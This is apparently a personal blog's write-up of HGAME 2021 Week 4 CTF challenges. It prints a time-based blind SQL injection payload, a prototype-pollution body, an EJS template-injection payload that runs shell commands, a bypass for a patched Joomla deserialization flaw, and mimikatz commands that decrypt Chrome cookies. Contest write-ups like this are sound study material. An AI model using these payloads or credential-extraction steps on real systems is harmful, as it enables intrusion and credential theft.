Zry.IO

返回

web

Unforgettable [450]

整体功能与 week 3 的 Forgetful 相同,但原本的 SSTI 注入点过滤了 {{ }}{% %} 等符号

注册时多了一个邮箱,登录时需要的用户名也改成了邮箱,登录后多了一个 /user 页面可以查看用户信息(用户名等)

经过测试发现用户名存在 SQL 延迟盲注漏洞,可以在登录后通过请求 /user 页面触发,payload 格式为

foobar'&&(if((length(now())>1,benchmark(99999999,sha(1)),0))#
plaintext

依次爆出库名 todolist、表名 ffflllaagggg、列名 ffllllaaaagg 后即可查出 flag

Flag: hgame{0rm_i5_th3_s0lu7ion}

漫无止境的星期日 [400]

HTML 注释中提示了源码备份 /static/www.zip,是使用 Node.js Express 框架写的网站,审计发现存在原型链污染漏洞

提交请求如 {"__proto__": {"crying": true}, "name": "test", "discription": "test"} 即可将 req.session.crying 置为 true,绕过后续 /wish 页的权限控制

// ...[OMITTED]...
app.all('/wish', (req, res) => {
    if (!req.session.crying) {
        return res.send("forbidden.")
    }

    if (req.method == 'POST') {
        let wishes = req.body.wishes
        req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
        return res.redirect(302, '/show');
    }

    return res.render('wish');
})
// ...[OMITTED]...
javascript

此处又存在 EJS 的 SSTI 漏洞,提交请求如 wishes=<%- global.process.mainModule.require('child_process').execSync('ls -l /') %> 即可 RCE

flag 文件位于 /flag

参考资料:Express+lodash+ejs: 从原型链污染到 RCE [存档]

Flag: hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}

joomlaJoomla!!!!! [450]

使用 Joomla 搭建的博客,附件提供了源码,查看 joomla.xml 可知版本为 3.4.5,受 CVE-2015-8562 影响

  1. 构造客户端 useragent 字符串
  2. joomla 将 useragent 存储为 session
  3. 执行 session 合并后进行序列化并将带有 poc 的字符串存入数据 (这里触发 mysql 截断漏洞)
  4. 客户端发起请求
  5. 服务端从 mysql 读入数据库并反序列化 session (这里触发 php 反序列化漏洞)
  6. 执行 poc 并闭合函数

Source: Joomla 3.4.5 反序列化漏洞(CVE-2015-8562) 分析

直接使用 POC 失败,下载官方 3.4.5 原版文件后进行 diff,发现 libraries/joomla/session/session.php 中存在两处修复

$ diff -r html Joomla_3.4.5-Stable-Full_Package
Only in html: .htaccess
Only in html: configuration.php
Only in Joomla_3.4.5-Stable-Full_Package: installation
diff -r html/libraries/joomla/session/session.php Joomla_3.4.5-Stable-Full_Package/libraries/joomla/session/session.php
990,993d989
<                   $pos = strpos($_SERVER['HTTP_X_FORWARDED_FOR'],'|');
<                   if($pos){
<                       $_SERVER['HTTP_X_FORWARDED_FOR'] = substr_replace($_SERVER['HTTP_X_FORWARDED_FOR'],'',$pos,strlen('|'));
<             }
1021,1024d1016
<                 $pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
<                 if($pos){
<                     $_SERVER['HTTP_USER_AGENT'] = substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
<                 }
shellsession

由于移除了请求头 UA 中的 |,导致反序列化攻击失败,但由于只替换了第一处,所以只要提交两个 | 即可绕过

flag 文件位于 /flag

Flag: hgame{WelCoME~TO-ThIs_Re4Lw0RLD}

reverse

A 5 Second Challenge [400]

使用 Unity 制作的扫雷游戏,每步要在 5 秒内完成

附件中包含了 Managed/AFiveSecondChallenge.dll(游戏逻辑的 C# 源码),和 il2cppOutput 目录(IL2CPP 的输出)两处泄露

使用 dnSpy 或 ilSpy 反编译 AFiveSecondChallenge.dll,发现判断指定坐标是否有雷的 BombChecker.CheckBombAt 方法中的指令全被替换成了 nop

在 il2cppOutput 中查找 CheckBombAt,在 AFiveSecondChallenge.cpp 中找到此方法的 C++ 实现,可以整理为如下逻辑

其中 get_matrix() 载入可以从 dll 中提取的三维数组 matrix

一开始以为要编写脚本自动完成游戏,画出所有雷的位置后可以发现是个二维码,扫码即为 flag

Flag: hgame{YOUhEn-duO_yOU-X|DOU-sHiun1Tyk4i-fA_de_O}

crypto

夺宝大冒险 1 [350]

线性同余生成器(LCG),三个 test 依次需要解出增量、乘数、模数

参考资料:攻击线性同余生成器 (LCG)

Flag: hgame{Cracking^prng_Linear)Congruential&Generators}

夺宝大冒险 2 [300]

线性反馈移位寄存器(LFSR),猜 100 次随机数,猜错时会显示正确答案,需要猜对至少 80 次才能得到 flag

可以先爆出前 10 次 test 的正确答案,即前 40 个随机数,就可以通过 z3 解出初始值 init

参考资料:https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/crypto_lfsr

Flag: hgame{lfsr_121a111y^use-in&crypto}

misc

Akira 之瞳 - 1 [350]

Windows 内存取证,通过 volatility 提取

查看提取出的压缩包,有注释 “Password is sha256(login_password)”,用用户密码 asdqwe123 的 sha256 hash 解压,得到两张看上去相同的图片:src.png 与 Blind.png,猜测为 PNG 盲水印隐写

使用 chishaxie/BlindWaterMark 提取出隐写的 flag 图像

$ python3 bwmforpy3.py decode src.png Blind.png output.png
image<src.png> + image(encoded)<Blind.png> -> watermark<output.png>
shellsession

Flag: hgame{7he_f1ame_brin9s_me_end1ess_9rief}

Akira 之瞳 - 2 [400]

Windows 内存取证,附件中除了 dump 文件外还有一个加密的 7z 压缩包

使用该密码解压 7z,得到一个 DPAPI 的 secrets、一个 VeraCrypt 的 container、一个 Chrome 的 Cookies 数据库

至今不知道为什么说可能要用到 LastPass

使用 mimikatz 通过用户密码取出 masterkey,然后解密 Chrome 保存的 cookies

mimikatz # dpapi::masterkey /in:"secret\S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6" /password:vIg*q3x6GFa5aFBA
# ...[OMITTED]...
[masterkey] with password: vIg*q3x6GFa5aFBA (normal user)
  key : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
  sha1: 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57

mimikatz # dpapi::chrome /in:"secret\Cookies" /unprotected /masterkey:3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8

Host  : localhost ( / )
Name  : VeraCrypt
Dates : 2/19/2021 7:08:59 AM -> 2/19/2022 7:00:00 AM
 * volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:available
 * masterkey     : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
Cookie: !bWjAqM2z!iSoJsV*&IRV@*AVI1VrtAb
shellsession

可见这个 cookie 其实是 VeraCrypt 的密码,在 VeraCrypt 中选择 container 并用该密码挂载,内有一个 ADS.jpg

根据文件名 ADS 提示,猜测可能有 NTFS 交换数据流隐写,使用 AlternateStreamView 扫描挂载的分区即可找到 :flag.txt:$DATA,导出为 txt 即得 flag

Flag: hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}

HGAME2021 - Week 4 writeup
https://zry.io/zh/ctf/hgame2021-week-4-writeup
作者 zry98
发布于 2021年2月25日